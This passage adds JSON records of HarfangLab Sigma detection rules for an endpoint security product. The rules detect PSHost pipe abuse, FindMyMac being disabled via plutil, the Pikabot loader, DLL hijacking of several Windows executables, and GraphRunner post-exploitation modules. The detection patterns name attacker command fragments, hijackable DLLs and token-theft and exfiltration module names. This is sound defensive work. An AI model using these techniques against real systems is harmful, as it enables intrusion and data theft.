+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609174Z",
+  "creation_date": "2026-03-23T11:45:34.609178Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609185Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/staatsgeheim/status/1868032068892184639",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001pshost_pipe_connect.yml",
+  "content": "title: Suspicious Connection to PSHost Named Pipe\nid: 585e591d-d328-427f-828f-53a20bee6a27\ndescription: |\n    Detects connections to the PSHost named pipe which enables PowerShell command execution within specific process contexts.\n    The PSHost named pipe facilitates inter-process communication for PowerShell's Enter-PSHostProcess functionality, allowing commands to run within target processes.\n    Attackers can abuse this mechanism to inject malicious code into legitimate processes, escalate privileges, or evade detection by masquerading malicious activities as trusted process behavior.\n    It is recommended to investigate the connecting processes, review executed PowerShell commands, verify user account legitimacy, and check for suspicious activities following the pipe connection.\nreferences:\n    - https://x.com/staatsgeheim/status/1868032068892184639\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/12/17\nmodified: 2025/06/18\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: named_pipe_connection\n    product: windows\ndetection:\n    selection:\n        PipeName|startswith: '\\PSHost.'\n\n    exclusion_powershell:\n        Image:\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Windows\\Syswow64\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Windows\\System32\\wsmprovhost.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_anssi_audittool:\n        ProcessOriginalFileName: 'audit_tool.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Agence Nationale de la Sécurité des Systèmes d'Information\"\n\n    exclusion_psscriptpad:\n        ProcessOriginalFileName: 'PSScriptPad.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ironman Software LLC'\n\n    exclusion_code:\n        Image: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        ProcessParentImage|endswith: '\\code.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "585e591d-d328-427f-828f-53a20bee6a27",
+  "rule_name": "Suspicious Connection to PSHost Named Pipe",
+  "rule_description": "Detects connections to the PSHost named pipe which enables PowerShell command execution within specific process contexts.\nThe PSHost named pipe facilitates inter-process communication for PowerShell's Enter-PSHostProcess functionality, allowing commands to run within target processes.\nAttackers can abuse this mechanism to inject malicious code into legitimate processes, escalate privileges, or evade detection by masquerading malicious activities as trusted process behavior.\nIt is recommended to investigate the connecting processes, review executed PowerShell commands, verify user account legitimacy, and check for suspicious activities following the pipe connection.\n",
+  "rule_creation_date": "2024-12-17",
+  "rule_modified_date": "2025-06-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "587dc4a6-6be3-43fa-bab1-2589039af85e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616771Z",
+  "creation_date": "2026-03-23T11:45:34.616775Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616782Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_findmymac_disbaled.yml",
+  "content": "title: FindMyMac Disabled via plutil\nid: 587dc4a6-6be3-43fa-bab1-2589039af85e\ndescription: |\n    Detects the FindMyMac feature being disabled via the plutil command.\n    Attackers may disable FindMyMac to prevent the device from being located or wiped remotely.\n    It is recommended to check plutil's execution context to look for suspicious processes.\nreferences:\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/07/03\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1562.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Plutil\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base:\n        Image: '/usr/bin/plutil'\n        CommandLine|contains|all:\n            - '-replace FMMEnabled'\n            - 'com.apple.findmymac.plist'\n\n    selection_disable:\n        CommandLine|contains:\n            - '-bool NO'\n            - 'false'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "587dc4a6-6be3-43fa-bab1-2589039af85e",
+  "rule_name": "FindMyMac Disabled via plutil",
+  "rule_description": "Detects the FindMyMac feature being disabled via the plutil command.\nAttackers may disable FindMyMac to prevent the device from being located or wiped remotely.\nIt is recommended to check plutil's execution context to look for suspicious processes.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5925b010-3ee3-4193-9359-11e728211c13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084323Z",
+  "creation_date": "2026-03-23T11:45:34.084326Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084330Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot",
+    "https://www.zscaler.fr/blogs/security-research/technical-analysis-pikabot",
+    "https://attack.mitre.org/techniques/T1566/001/"
+  ],
+  "name": "t1566_001_pikabot.yml",
+  "content": "title: Pikabot Malware Detected\nid: 5925b010-3ee3-4193-9359-11e728211c13\ndescription: |\n    Detects the initial loading of the Pikabot malware.\n    Pikabot is, as of 2023, an emerging malware family that comprises a downloader/installer, a loader, and a core backdoor component. It demonstrates advanced techniques in evasion, injection, and anti-analysis.\n    It is recommended to analyze files related to this execution as well as to look for signs of persistence and attacker interactive activity.\nreferences:\n    - https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot\n    - https://www.zscaler.fr/blogs/security-research/technical-analysis-pikabot\n    - https://attack.mitre.org/techniques/T1566/001/\ndate: 2023/11/20\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566.001\n    - attack.defense_evasion\n    - attack.t1497\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.Pikabot\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_cmd:\n        OriginalFileName: 'cmd.exe'\n        CommandLine|contains|all:\n            - 'echo'\n            - 'curl'\n            - 'ping'\n            - 'exit'\n\n    selection_curl:\n        OriginalFileName: 'curl.exe'\n        CommandLine|contains: 'AppData\\Local\\Temp\\'\n        ParentImage|endswith: '\\cmd.exe'\n        ParentCommandLine|contains|all:\n            - 'echo'\n            - 'curl'\n            - 'ping'\n            - 'exit'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5925b010-3ee3-4193-9359-11e728211c13",
+  "rule_name": "Pikabot Malware Detected",
+  "rule_description": "Detects the initial loading of the Pikabot malware.\nPikabot is, as of 2023, an emerging malware family that comprises a downloader/installer, a loader, and a core backdoor component. It demonstrates advanced techniques in evasion, injection, and anti-analysis.\nIt is recommended to analyze files related to this execution as well as to look for signs of persistence and attacker interactive activity.\n",
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1497",
+    "attack.t1566.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "593ebf84-35d4-42cd-98e9-55d9df5f87a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598591Z",
+  "creation_date": "2026-03-23T11:45:34.598594Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598601Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ijplmui.yml",
+  "content": "title: DLL Hijacking via ijplmui.exe\nid: 593ebf84-35d4-42cd-98e9-55d9df5f87a6\ndescription: |\n    Detects potential Windows DLL Hijacking via ijplmui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ijplmui.exe'\n        ImageLoaded|endswith: '\\IJPLMCOM.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Canon'\n            - '?:\\Program Files (x86)\\Canon'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Canon'\n            - '?:\\Program Files (x86)\\Canon'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Canon Inc.'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "593ebf84-35d4-42cd-98e9-55d9df5f87a6",
+  "rule_name": "DLL Hijacking via ijplmui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ijplmui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "593f465e-011d-4370-bd09-936ea5472337",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098853Z",
+  "creation_date": "2026-03-23T11:45:34.098855Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098859Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fxscover.yml",
+  "content": "title: DLL Hijacking via fxscover.exe\nid: 593f465e-011d-4370-bd09-936ea5472337\ndescription: |\n    Detects potential Windows DLL Hijacking via fxscover.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fxscover.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\propsys.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "593f465e-011d-4370-bd09-936ea5472337",
+  "rule_name": "DLL Hijacking via fxscover.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fxscover.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59479067-dae2-49e6-828c-e6ed9a6e2a99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097439Z",
+  "creation_date": "2026-03-23T11:45:34.097442Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097446Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_usoclient.yml",
+  "content": "title: DLL Hijacking via UsoClient.exe\nid: 59479067-dae2-49e6-828c-e6ed9a6e2a99\ndescription: |\n    Detects potential Windows DLL Hijacking via UsoClient.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'UsoClient'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\updatepolicy.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59479067-dae2-49e6-828c-e6ed9a6e2a99",
+  "rule_name": "DLL Hijacking via UsoClient.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via UsoClient.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59a0b168-6b3b-4b4c-8d06-7b2a204a55b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606522Z",
+  "creation_date": "2026-03-23T11:45:34.606525Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606533Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/dafthack/GraphRunner",
+    "https://www.blackhillsinfosec.com/introducing-graphrunner/",
+    "https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-i",
+    "https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-ii"
+  ],
+  "name": "t1087_graphrunner_usage.yml",
+  "content": "title: GraphRunner Post-Exploitation Toolset Executed\nid: 59a0b168-6b3b-4b4c-8d06-7b2a204a55b8\ndescription: |\n    Detects the execution of GraphRunner, a post-exploitation toolset mostly written in PowerShell, designed to exploit Microsoft Entra ID (Azure AD) environments through Microsoft Graph API.\n    The tool enables attackers to perform comprehensive tenant reconnaissance, establish persistence through malicious OAuth apps and security group manipulation, exfiltrate sensitive data from SharePoint, OneDrive, Teams, and Exchange Online.\n    It is recommended to investigate the execution context, monitor for suspicious OAuth app registrations, review security group modifications, and analyze data access patterns for signs of exfiltration.\nreferences:\n    - https://github.com/dafthack/GraphRunner\n    - https://www.blackhillsinfosec.com/introducing-graphrunner/\n    - https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-i\n    - https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-ii\ndate: 2025/01/09\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1528\n    - attack.collection\n    - attack.t1114\n    - attack.t1213\n    - attack.persistence\n    - attack.t1098.003\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1087.004\n    - attack.t1069.003\n    - attack.exfiltration\n    - attack.t1530\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.GraphRunner\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        - PowershellScriptPath|endswith: '\\GraphRunner.ps1'\n        - PowershellCommand|contains|all:\n            # Authentication Modules\n            - 'Get-GraphTokens'\n            - 'Invoke-RefreshGraphTokens '\n            - 'Get-AzureAppTokens'\n            - 'Invoke-RefreshAzureAppTokens'\n            # Recon & Enumeration Modules\n            - 'Invoke-GraphRecon'\n            - 'Invoke-DumpCAPS'\n            - 'Get-AzureADUsers '\n            # Persistence Modules\n            - 'Invoke-InjectOAuthApp'\n            - 'Invoke-SecurityGroupCloner'\n            - 'Invoke-AddGroupMember'\n            # Pillage Modules\n            - 'Invoke-SearchSharePointAndOneDrive'\n            - 'Invoke-ImmersiveFileReader'\n            - 'Invoke-SearchUserAttributes'\n            # Invoke-GraphRunner Module\n            - 'Invoke-GraphRunner'\n            # Supplemental Modules\n            - 'Invoke-AutoOAuthFlow'\n            - 'Invoke-DeleteOAuthApp'\n            - 'Invoke-DriveFileDownload'\n            - 'Invoke-CheckAccess'\n            - 'Invoke-ImportTokens'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "59a0b168-6b3b-4b4c-8d06-7b2a204a55b8",
+  "rule_name": "GraphRunner Post-Exploitation Toolset Executed",
+  "rule_description": "Detects the execution of GraphRunner, a post-exploitation toolset mostly written in PowerShell, designed to exploit Microsoft Entra ID (Azure AD) environments through Microsoft Graph API.\nThe tool enables attackers to perform comprehensive tenant reconnaissance, establish persistence through malicious OAuth apps and security group manipulation, exfiltrate sensitive data from SharePoint, OneDrive, Teams, and Exchange Online.\nIt is recommended to investigate the execution context, monitor for suspicious OAuth app registrations, review security group modifications, and analyze data access patterns for signs of exfiltration.\n",
+  "rule_creation_date": "2025-01-09",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.003",
+    "attack.t1087.001",
+    "attack.t1087.004",
+    "attack.t1098.003",
+    "attack.t1114",
+    "attack.t1213",
+    "attack.t1528",
+    "attack.t1530"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "59a2da9a-8334-4169-8886-427fec2a7c46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
